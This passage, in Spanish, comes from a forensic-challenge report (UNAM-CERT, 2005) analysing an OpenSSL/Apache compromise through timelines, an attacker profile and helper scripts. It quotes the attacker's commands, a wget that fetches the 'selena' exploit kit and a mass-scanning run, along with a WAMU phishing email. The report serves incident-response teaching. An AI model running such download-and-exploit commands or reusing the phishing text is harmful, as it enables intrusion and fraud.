wget http://www.plus.factory.home.ro/selena.tgz<br />
tar xvfz selena.tgz<br />
cd selena<br />
./assl 217.172<br />
Cuando echamos un ojo a assl resulta ser un shell script que<br />
ejecuta una <strong>de</strong> las variantes <strong>de</strong> exploits que se aprovechan <strong>de</strong> la<br />
vulnerabilidad <strong>de</strong> Apache OpenSSL y realiza escaneos masivos sobre<br />
re<strong>de</strong>s clase b , utiliza el escaner <strong>de</strong> puertos pscan2 para obtener<br />
informacion acerca <strong>de</strong>l puerto 443 y luego ejecuta una variante <strong>de</strong>l<br />
exploit openssl-too-open para obtener acceso, existe una gran<br />
posibilidad <strong>de</strong> que este haya sido el mismo exploit usado para<br />
obtener acceso a nuestro Host. a continuación unas líneas obtenidas<br />
<strong>de</strong> el:<br />
echo "# scanner for the apache 0p3nSSL vuln by insi<strong>de</strong>r"<br />
echo "# PRIVATE PRIVATE PRIVATE"<br />
echo "# DON'T DISTRIBUTE"<br />
echo "----------------------------------------------------"<br />
echo "# starting scan ..."<br />
./pscan2 $1 443<br />
Finalmente echamos un vistazo a la que quedo en la cola <strong>de</strong><br />
correo (En un análisis forense en forma, seria bastante conveniente<br />
solicitar permiso por escrito para ello, recor<strong>de</strong>mos que el correo<br />
electrónico es privado), ahí encontramos 4 archivos 2 vacíos, 1 es<br />
una notificación <strong>de</strong> un correo no entregado a yahoo, y el otro es el<br />
correo, se trata <strong>de</strong> un intento <strong>de</strong> Pishing por parte <strong>de</strong>l atacante<br />
hacia mailpentruspam@yahoo.com para obtener información <strong>de</strong> una cuenta<br />
bancaria, este texto fue encontrado en el correo:<br />
your<br />
<br />
Dear Washington Mutual customer,<br />
WAMU is committed to maintaining a safe environment for its<br />
community of buyers and sellers.Protecting the security of<br />
account and of the Washington Mutual network is our primary<br />
concern. In this respect,as a preventative measure,we have<br />
recently revised your account information data in or<strong>de</strong>r<br />
to assure ourselves that the most advanced security techniques<br />
in the world and our anti-fraud teams regularly screen the<br />
WAMU system for any unusual activity.As our part of the job is<br />
done, there is only one step further for you to take, so that<br />
we can thoroughly guarantee our services. Therefore, if you<br />
are the rightful hol<strong>de</strong>r of the account please fill in the form<br />
below so that we can check the compliance with our database.<br />
25
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Como ejercicio adicional buscamos evi<strong>de</strong>ncia para el mes <strong>de</strong><br />
Febrero con nuestro script usando la linea ./parser.pl "Feb"<br />
RTF/hda3.dd/hda3.dd Feb.txt. Al no encontrar nada corroboramos que<br />
la actividad finalizo el 29 <strong>de</strong> Enero y damos por concluida esta<br />
parte <strong>de</strong>l análisis. Finalmente para corroborar nuestra tesis sobre<br />
el ataque usamos las herramienta <strong>de</strong> Sleuthkit y Autopsy. Dichas<br />
herramientas pue<strong>de</strong>n ser obtenidas <strong>de</strong> http://www.sleuthkit.org, Autopsy<br />
proporciona una herramienta grafica mediante un browser que facilita<br />
el análisis pro bloques <strong>de</strong> las imágenes, en el sitio <strong>de</strong> sleuthkit se<br />
encuentran guías <strong>de</strong>talladas <strong>de</strong> la instalación <strong>de</strong> las herramientas,<br />
nuevamente basados en la i<strong>de</strong>a <strong>de</strong> que este no <strong>de</strong>be ser un manual <strong>de</strong><br />
instalación sino una referencia para el análisis se explica a grosso<br />
modo el uso <strong>de</strong> autopsy, y se <strong>de</strong>ja referencia para quien quiera<br />
ahondar en el tema. Procedamos pues con el análisis, arrancamos<br />
autopsy con el comando ./autopsy, ahora po<strong>de</strong>mos abrir una ventana<br />
<strong>de</strong>l navegador <strong>de</strong> Internet y ver autopsy en el URL<br />
http://localhost:9999/autopsy, en dicha ventana abrimos un nuevo caso con<br />
el botón “New case”:<br />
Llenamos el formulario y guardamos el caso, posteriormente<br />
abrimos el caso con el botón “Open case” y seleccionamos la opción<br />
para agregar un nuevo host, <strong>de</strong>jamos la Zona horaria en blanco ya que<br />
26
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
como vimos anteriormente esta correspon<strong>de</strong> a la ciudad <strong>de</strong> México y<br />
coinci<strong>de</strong> con la instalada en nuestro laboratorio:<br />
---------<br />
Una a una agregamos las imágenes al caso, cuidando que el tipo<br />
coincida linux-ext3 como vimos anteriormente, y cuidando que el<br />
27
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
punto <strong>de</strong> montaje sea el que encontramos en el fstab en un principio,<br />
a excepción <strong>de</strong> hda6.dd que como habíamos visto correspon<strong>de</strong> a memoria<br />
swap por lo que no es necesario especificar punto <strong>de</strong> montaje.<br />
Una vez montadas todas las imágenes po<strong>de</strong>mos navegar por el<br />
sistema <strong>de</strong> archivos simplemente seleccionando la imagen y usando la<br />
utilería File análisis, por ejemplo a navegar hacia /var/log en<br />
hda3.dd vemos la existencia <strong>de</strong> los logs <strong>de</strong>l sistema:<br />
28
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Usamos la utilería “Time Line análisis” para generar una linea<br />
<strong>de</strong> tiempo sobre el sistema, a continuación se exponen algunos<br />
<strong>de</strong>talles <strong>de</strong> dicha linea <strong>de</strong> tiempo, intercalo comentarios en rojo:<br />
Se <strong>de</strong>tiene el servicio <strong>de</strong> nscd<br />
Sat Jan 29 2005 15:14:57 0 .a. l/-rw------- root root 18398<br />
/etc/rc.d/rc2.d/K74nscd (<strong>de</strong>leted)<br />
0 .a. -rw------- root root 18398<br />
<br />
0 .a. -/-rw------- apache root 304012<br />
/var/run/httpd.mm.723.sem<br />
0 .a. -rw------- root root 18399<br />
<br />
0 .a. l/-rw------- root root 18399<br />
/etc/rc.d/rc5.d/K74nscd (<strong>de</strong>leted)<br />
Sat Jan 29 2005 15:15:41 0 .a. -rwxr-xr-x apache apache 959<br />
<br />
El usuario apache intenta editar el archivo sshd_config, lo<br />
que refuerza la teoría <strong>de</strong> que el atacante ingreso con dicho usuario<br />
0 .a. -/-rwxr-xr-x apache apache 959<br />
/etc/ssh/sshd_config~ (<strong>de</strong>leted)<br />
Sat Jan 29 2005 15:16:49 86016 m.c d/drwxr-xr-x root root 31937 /<strong>de</strong>v<br />
252844 m.c -/-rwxr-xr-x root root 47990<br />
/bin/gawk-3.1.0<br />
Evi<strong>de</strong>ncia <strong>de</strong> la infección por el virus RST.b<br />
0 mac -/---------- root root 37434 /<strong>de</strong>v/hdx1<br />
0 mac -/---------- root root 37435<br />
/<strong>de</strong>v/hdx2<br />
252844 m.c -/-rwxr-xr-x root root 47990<br />
/bin/gawk<br />
Evi<strong>de</strong>ncia <strong>de</strong> la creación <strong>de</strong>l usuario weed.<br />
Sat Jan 29 2005 15:17:13 24 mac -/-rw-r--r-- root root 64002<br />
29
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
/home/weed/.bash_logout<br />
/home/weed<br />
4096 m.c d/drwx------ root root 64001<br />
Esta ves autopsy no nos permitió rescatar ningún archivo sin<br />
embargo y como vemos los eventos <strong>de</strong> la linea <strong>de</strong> tiempo generada van<br />
coincidiendo con nuestro análisis, toda la linea fue analiza pero<br />
por cuestiones <strong>de</strong> espacio no se incluyo todo. Dada la evi<strong>de</strong>ncia<br />
consi<strong>de</strong>ramos el análisis concluyente y damos por cerrado el caso. Se<br />
adjunta en los archivos <strong>de</strong> apoyo la linea <strong>de</strong> tiempo generada.<br />
Pasaremos ahora al resumen y exposición <strong>de</strong> resultados.<br />
3 .- Resumen y resultados.<br />
3.1 <strong>–</strong> Resumen y resultados.<br />
Los resultados expuestos y la cronología <strong>de</strong>l ataque se basan<br />
en la hora <strong>de</strong>l Host atacado. Dicho Host tenia como zona horaria<br />
“America/Mexico_City”. El 29 <strong>de</strong> Enero <strong>de</strong>l año en curso se presento<br />
un ataque en contra <strong>de</strong> la maquina cuyo perfil se <strong>de</strong>scribe a<br />
continuación:<br />
Nombre:Finanzas<br />
IP: 192.168.200.128 y 192.168.200.188<br />
Sistema Operativo: Red Hat Linux release 7.3 (Valhalla)<br />
-Dicha maquina había sido reiniciada por ultima vez el el 20<br />
<strong>de</strong> Enero alre<strong>de</strong>dor <strong>de</strong> las 16:33 y estuvo expuesta a una serie <strong>de</strong><br />
ataque <strong>de</strong> diccionario a partir <strong>de</strong> esa fecha, dichos ataques no<br />
rindieron fruto.<br />
-El 29 <strong>de</strong> Enero a las 15:14 aprovechándose <strong>de</strong> una<br />
vulnerabilidad en el OpenSSL 0.9.6b combinado con Apache un atacante<br />
usando la IP 64.202.43.190 perteneciente a Altaway un proveedor <strong>de</strong><br />
Hosting <strong>de</strong> Reno Nevada en los Estados Unidos, logra un introducirse<br />
en el equipo, usando un exploit que se aprovecha <strong>de</strong> una<br />
vulnerabilidad en openSSL a través <strong>de</strong> Apache Web Server y le permite<br />
obtener un shell como el usuario “apache” que es quien ejecutaba el<br />
Web Server.<br />
30
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
-A las 15:16 <strong>de</strong>l mismo día, usando herramientas contenidas en<br />
el paquete za.tgz (zbind, zero, etc), el atacante obtiene una root<br />
shell.<br />
-A partir <strong>de</strong> las 15:16 y hasta las 15:46 aproximadamente, el<br />
atacante estuvo en el equipo con perfil <strong>de</strong> súper usuario, <strong>de</strong>scargo<br />
herramientas que le permitirían mantener el acceso remoto al equipo<br />
(crk.tar.gz, https, sc.tgz, pico) una <strong>de</strong> esas herramientas<br />
(crk.tar.gz) pareciera haber estado contaminada con una variante <strong>de</strong>l<br />
virus RST.b por lo que infecta el equipo. Adicionalmente el atacante<br />
crea y borra un usuario “weed” con perfil <strong>de</strong> superusuario<br />
(Probablemente con el mismo propósito).<br />
-De 15:46 a 17:53 el atacante instala un IRC Proxy Server<br />
llamado psyBNC, sin embargo aparentemente no logra hacerlo<br />
funcionar, no se tiene más indicios <strong>de</strong> actividad <strong>de</strong>l atacante para<br />
ese día<br />
- No se tienen indicios <strong>de</strong> actividad <strong>de</strong>l atacante para el día<br />
30 <strong>de</strong> Enero.<br />
- El día 31 <strong>de</strong> Enero a las 3:12 el atacante entra nuevamente y<br />
reintenta con el psyBNC, en archivo <strong>de</strong> configuración <strong>de</strong>l psyBNC se<br />
encontró el nombre “Angel”.<br />
-Entre 4:02 y 4:12 se modifican una serie archivos en la<br />
maquina entre ellos rpmpkgs que contiene las firmas <strong>de</strong> los programas<br />
instalados en la maquina, probablemente para eludir el análisis<br />
forense.<br />
- Entre 11:52 y 13:31 el atacante <strong>de</strong>scarga dos herramientas<br />
mas selena.tgz y woot.tgz, estos set <strong>de</strong> herramientas permitieron al<br />
atacante convertir el Host en una plataforma para lanzar nuevos<br />
ataques a re<strong>de</strong>s clase “B”, los ataques intentados eran mediante el<br />
exploit <strong>de</strong> la vulnerabilidad <strong>de</strong> Apache + OpenSSL 0.9.6b el primero y<br />
vulnerabilida<strong>de</strong>s en samba el segundo. El archivo selena.tgz contenía<br />
una variante <strong>de</strong>l exploit openssl-too-open, probablemente la misma<br />
usada para vulnerar nuestro Host.<br />
- Entre 13:31 y 15:20 realiza un intento <strong>de</strong> Pishing para<br />
obtener información <strong>de</strong> una cuenta bancaria. No hay más actividad <strong>de</strong>l<br />
atacante o <strong>de</strong>l Host.<br />
31
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
3.2 <strong>–</strong> Perfil y motivación <strong>de</strong>l atacante.<br />
La evi<strong>de</strong>ncia encontrada nos permite clasificar al atacante,<br />
creamos una categoría y dividimos a los Hackers según sus<br />
habilida<strong>de</strong>s y conocimiento en Hackers <strong>de</strong> Elite, Hackers y Script<br />
Kiddie's, siendo los primeros los que tienen el nivel mas elevado y<br />
los últimos el nivel mas bajo, nuestro atacante caería en el nivel<br />
<strong>de</strong> Script Kiddie, el atacante utilizo siempre herramientas<br />
disponibles en la red, <strong>de</strong> las cuales la mayoría tenían firmas ya<br />
conocidas, durante el ataque mostró un comportamiento errático (Por<br />
ejemplo instalo <strong>de</strong> manera fallida varias herramientas para mantener<br />
el acceso remoto cuando solo una le hubiese sido suficiente),<br />
contamino el equipo con una variante <strong>de</strong>l virus RST.b probablemente<br />
<strong>de</strong> manera no intencional (Simplemente no sabia que estaba haciendo)<br />
y problemente haya contaminado también el equipo <strong>de</strong>l cual lanzo el<br />
ataque, <strong>de</strong>jo huellas claras <strong>de</strong> su paso por la maquina, y se arriesgo<br />
bastante para hacer funcionar un servidor Proxy para IRC, finalmente<br />
hizo <strong>de</strong> la maquina una plataforma para lanzar nuevos ataques.<br />
Este tipo <strong>de</strong> atacantes no tienen una motivación especifica,<br />
simplemente es el <strong>de</strong>seo <strong>de</strong> reconocimiento por parte <strong>de</strong> la comunidad<br />
Un<strong>de</strong>rground a la que pertenece y la emoción que le pudo haber<br />
producido el realizar el ataque. Es evi<strong>de</strong>nte que nuestro atacante<br />
hubiera atacado cualquier otra maquina que se topara y que estuviese<br />
vulnerable. Lamentablemente se topo con nuestra maquina.<br />
3.3 <strong>–</strong> Recomendaciones y conclusiones.<br />
El ataque tuvo éxito <strong>de</strong>bido a que no se tuvo el cuidado<br />
a<strong>de</strong>cuado para con la maquina. Se recomienda mantener el sistema<br />
actualizado, a la fecha existen parches y upgra<strong>de</strong>s que permiten<br />
eliminar la vulnerabilidad que aquí fue explotada, un correcto<br />
manejo <strong>de</strong> las actualizaciones <strong>de</strong>l sistema le permitirán mantener un<br />
sistema estable y más seguro. Existen medidas que hubiesen ayudado a<br />
<strong>de</strong>tectar con tiempo el ataque, una buena medida seria tener un<br />
sistema <strong>de</strong> <strong>de</strong>tección <strong>de</strong> intrusos (IDS), existen algunos gratuitos<br />
como “SNORT” www.snort.org/, actualmente existen firmas para este<br />
tipo <strong>de</strong> ataques. también es conveniente mantener un monitoreo <strong>de</strong> los<br />
32
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
servicios que corren en el sistema, hasta el día 31 el servicio <strong>de</strong><br />
HTTPS estuvo fallando, los analizadores <strong>de</strong> logs ya no encontraban<br />
que analizar (Puesto que los logs habían sido borrados), y sin<br />
embargo parece que nadie tomo acciones al respecto.<br />
Finalmente la implementación <strong>de</strong> una cultura <strong>de</strong> la seguridad en<br />
el entorno <strong>de</strong> gente que <strong>de</strong>pen<strong>de</strong> o trabaja con el equipo <strong>de</strong> cómputo<br />
(En este caso nuestro Host “Finanzas”), será <strong>de</strong>terminante para<br />
evitar este tipo <strong>de</strong> inci<strong>de</strong>ntes en un futuro. Finalizo esta parte con<br />
una frase que me <strong>de</strong>jo uno <strong>de</strong> mis maestros: “La ca<strong>de</strong>na <strong>de</strong> la<br />
seguridad se rompe por el eslabón mas débil, y dicho eslabón suele<br />
ser aquel en que se invierte menos dinero”. La información también<br />
es un valor que <strong>de</strong>be ser protegido.<br />
4 .- Agra<strong>de</strong>cimientos.<br />
Regularmente no incluiría esto en un reporte, pero no puedo<br />
concluir sin agra<strong>de</strong>cer a los organizadores <strong>de</strong>l <strong>Reto</strong> <strong>Forense</strong> por<br />
darnos esta oportunidad <strong>de</strong> aprendizaje, la experiencia ha resultado<br />
ser enorme. El análisis aquí presentado es una muestra <strong>de</strong> la<br />
investigación realizada, hasta la fecha no he encontrado una<br />
metodología <strong>de</strong> análisis (Quizás sea por un hacker no tiene una<br />
metodología <strong>de</strong> ataque), sin embargo la mayoría lo he aprendido <strong>de</strong><br />
manuales, libros y guías que he encontrado en la red, espero que<br />
este análisis sirva a alguien mas, <strong>de</strong> la forma que a mi me han<br />
servido los análisis realizados por otros. Agra<strong>de</strong>zco a<strong>de</strong>más a la<br />
gente que me apoyo durante la realización <strong>de</strong> la investigación, a la<br />
gente <strong>de</strong> la lista <strong>de</strong> ANAFON y por supuesto a mi amada esposa Gaby,<br />
que me <strong>de</strong>jo <strong>de</strong>svelarme estos días para po<strong>de</strong>r llevar a cabo esta<br />
investigación ;-).<br />
33
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Anexo 1.<br />
Scripts para montar y <strong>de</strong>smontar las imágenes .dd<br />
monta.sh<br />
#!/bin/bash<br />
#Este script monta las imágenes dd, sustituya el directorio<br />
#don<strong>de</strong> se encuentran los archivos y el directorio don<strong>de</strong> se<br />
#montaran y ejecute ./monta.sh<br />
#<br />
#<br />
mount -ro,loop /windows/RTF/hda1.dd/hda1.dd /mnt/escena<br />
mount -ro,loop /windows/RTF/hda2.dd/hda2.dd /mnt/escena/home<br />
mount -ro,loop /windows/RTF/hda3.dd/hda3.dd /mnt/escena/var<br />
mount -ro,loop /windows/RTF/hda5.dd/hda5.dd /mnt/escena/usr<br />
echo “listo”<br />
<strong>de</strong>smonta.sh<br />
#!/bin/bash<br />
#Este script le permite <strong>de</strong>smontar los archivos dd, sustituya<br />
#el directorio don<strong>de</strong> están montados y ejecute, ./<strong>de</strong>smonta.sh<br />
#<br />
#<br />
umount /mnt/escena/home<br />
umount /mnt/escena/var<br />
umount /mnt/escena/usr<br />
umount /mnt/escena<br />
echo “listo”<br />
34
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Anexo 2.<br />
Scripts que busca líneas en los archivos dd en base a un<br />
patrón<br />
./parser.sh<br />
#!/usr/bin/perl<br />
# parser.pl por Juan Hurtado<br />
# Busca líneas que contengan una palabra clave<br />
# Use ./parser.pl palabraclave archivoentrada archivosalida<br />
# El autor lo autoriza para que modifique y use este script<br />
# libremente, mientras mantenga una referencia al nombre <strong>de</strong>l<br />
# autor.<br />
$keyword=@ARGV[0];<br />
$inputfile=@ARGV[1];<br />
$outputfile=@ARGV[2];<br />
open(SALIDA,"> $outputfile");<br />
open(FILE,"< $inputfile");<br />
while(){<br />
print SALIDA if /$keyword/;<br />
}<br />
close(FILE);<br />
close(SALIDA);<br />
print “Finalizado\n”;<br />
35
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
Anexo 3.<br />
análisis por fechas <strong>de</strong> archivos ya or<strong>de</strong>nado.<br />
29 ene 4:02 /var/www/html/usage daily_usage_200501.png<br />
29 ene 4:02 /var/www/html/usage usage.png<br />
29 ene 4:02 /var/www/html/usage usage_200501.html<br />
29 ene 4:02 /var/www/html/usage in<strong>de</strong>x.html<br />
29 ene 4:02 /var/www/html/usage hourly_usage_200501.png<br />
29 ene 4:02 /var/www/html/usage ctry_usage_200501.png<br />
29 ene 4:02 /var/lib/webalizer webalizer.current<br />
29 ene 4:02 /var/lib/webalizer webalizer.hist<br />
29 ene 15:16 / <strong>de</strong>v<br />
29 ene 15:16 /bin gawk-3.1.0<br />
29 ene 15:16 /bin gawk<br />
29 ene 15:16 /<strong>de</strong>v hdx2<br />
29 ene 15:16 /<strong>de</strong>v hdx1<br />
29 ene 15:16 /<strong>de</strong>v .<br />
29 ene 15:16 /<strong>de</strong>v/shm ..<br />
29 ene 15:16 /<strong>de</strong>v/pts ..<br />
29 ene 15:16 /<strong>de</strong>v/ataraid ..<br />
29 ene 15:16 /<strong>de</strong>v/dri ..<br />
29 ene 15:16 /<strong>de</strong>v/cpu ..<br />
29 ene 15:16 /<strong>de</strong>v/compaq ..<br />
29 ene 15:16 /<strong>de</strong>v/cciss ..<br />
29 ene 15:16 /<strong>de</strong>v/i2o ..<br />
29 ene 15:16 /<strong>de</strong>v/raw ..<br />
29 ene 15:16 /<strong>de</strong>v/logicalco ..<br />
29 ene 15:16 /<strong>de</strong>v/input ..<br />
29 ene 15:16 /<strong>de</strong>v/inet ..<br />
29 ene 15:16 /<strong>de</strong>v/ida ..<br />
29 ene 15:16 /<strong>de</strong>v/rd ..<br />
29 ene 15:16 /<strong>de</strong>v/vi<strong>de</strong>o ..<br />
29 ene 15:16 /<strong>de</strong>v/usb ..<br />
29 ene 15:17 / home<br />
29 ene 15:17 /var/spool/mail weed<br />
29 ene 15:17 /home weed<br />
29 ene 15:17 /home .<br />
29 ene 15:17 /home/lost? ..<br />
29 ene 15:17 /home/Contador ..<br />
29 ene 15:17 /home/weed .bashrc<br />
29 ene 15:17 /home/weed .bash_profile<br />
29 ene 15:17 /home/weed .bash_logout<br />
29 ene 15:17 /home/weed ..<br />
29 ene 15:17 /home/weed .<br />
29 ene 15:18 /etc passwd-<br />
29 ene 15:19 /lib libproc.so<br />
29 ene 15:20 / .<br />
29 ene 15:20 /opt ..<br />
29 ene 15:20 /initrd ..<br />
29 ene 15:20 /misc ..<br />
29 ene 15:20 /lost? ..<br />
29 ene 15:20 /proc ..<br />
29 ene 15:20 /usr ..<br />
29 ene 15:20 /boot ..<br />
29 ene 15:20 /var ..<br />
29 ene 15:20 /bin ..<br />
36
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
29 ene 15:20 /mnt ..<br />
29 ene 15:20 /<strong>de</strong>v ..<br />
29 ene 15:20 /home ..<br />
29 ene 15:20 /lib ..<br />
29 ene 15:20 /sbin ..<br />
29 ene 15:20 /root ..<br />
29 ene 15:20 /etc ..<br />
29 ene 15:20 /tmp ..<br />
29 ene 15:21 / lib<br />
29 ene 15:21 /usr inclu<strong>de</strong><br />
29 ene 15:21 /usr/inclu<strong>de</strong> hosts.h<br />
29 ene 15:21 /usr/inclu<strong>de</strong> .<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/pwdb ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/sp ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/pgsql ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/libpq ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/libpq ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/kpathsea ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/apache ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/lwres ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/isccfg ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/isccc ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/isc ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/dst ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/dns ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/curl ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/db2 ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/db1 ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/db3 ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/uuid ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/ss ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/ext2fs ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/et ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/gdbm ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/asm ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/linux ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/gnu ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/bits ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/arpa ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/sys ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/scsi ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/rpcsvc ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/rpc ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/protocols ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/nfs ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/netrose ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/netrom ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/netpacket ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/netipx ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/netinet ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/neteconet ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/netax25 ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/netatalk ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/netash ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/net ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/g3 ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/libuser ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/libxml2 ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/ncurses ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/openssl ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/security ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/parted ..<br />
37
Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />
Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />
29 ene 15:21 /usr/inclu<strong>de</strong>/pci ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/kudzu ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/php ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/pcre ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/pspell ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/aspell ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/python1.5 ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/readline ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/rpm ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/slang ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/libmilter ..<br />
29 ene 15:21 /usr/inclu<strong>de</strong>/mysql ..<br />
29 ene 15:21 /bin chmod<br />
29 ene 15:21 /lib libext-2.so.7<br />
29 ene 15:21 /lib .<br />
29 ene 15:21 /lib/i686 ..<br />
29 ene 15:21 /lib/kbd ..<br />
29 ene 15:21 /lib/iptables ..<br />
29 ene 15:21 /lib/modules ..<br />
29 ene 15:21 /lib/security ..<br />
29 ene 15:21 /etc ld.so.hash<br />
29 ene 15:21 /etc ld.so.cache<br />
29 ene 15:21 /etc/rc.d init.d<br />
29 ene 15:21 /etc/rc.d/init.d cycomm<br />
29 ene 15:21 /etc/rc.d/init.d .<br />
29 ene 15:22 / sbin<br />
29 ene 15:22 / root<br />
29 ene 15:22 /sbin initsk12<br />
29 ene 15:22 /sbin init<br />
29 ene 15:22 /sbin .<br />
29 ene 15:22 /root .bash_history<br />
29 ene 15:22 /root .<br />
29 ene 15:22 /root .ssh<br />
29 ene 15:22 /root/.ssh ..<br />
29 ene 15:22 /root/.ssh known_hosts<br />
29 ene 15:22 /root/.ssh .<br />
29 ene 15:22 /etc shadow-<br />
29 ene 15:25 / etc<br />
29 ene 15:25 /etc shadow<br />
29 ene 15:25 /etc passwd<br />
29 ene 15:25 /etc .<br />
29 ene 15:25 /etc/opt ..<br />
29 ene 15:25 /etc/cron.hourly ..<br />
29 ene 15:25 /etc/httpd ..<br />
29 ene 15:25 /etc/dhcpc ..<br />
29 ene 15:25 /etc/<strong>de</strong>fault ..<br />
29 ene 15:25 /etc/skel ..<br />
29 ene 15:25 /etc/iproute2 ..<br />
29 ene 15:25 /etc/make<strong>de</strong>v.d ..<br />
29 ene 15:25 /etc/hotplug ..<br />
29 ene 15:25 /etc/security ..<br />
29 ene 15:25 /etc/openldap ..<br />
29 ene 15:25 /etc/alternatives ..<br />
29 ene 15:25 /etc/mail ..<br />
29 ene 15:25 /etc/rpm ..<br />
29 ene 15:25 /etc/X11 ..<br />
29 ene 15:25 /etc/rc.d ..<br />
29 ene 15:25 /etc/profile.d ..<br />
29 ene 15:25 /etc/ppp ..<br />
29 ene 15:25 /etc/locale ..<br />
29 ene 15:25 /etc/mrtg ..<br />
29 ene 15:26 /var/log<br />
38
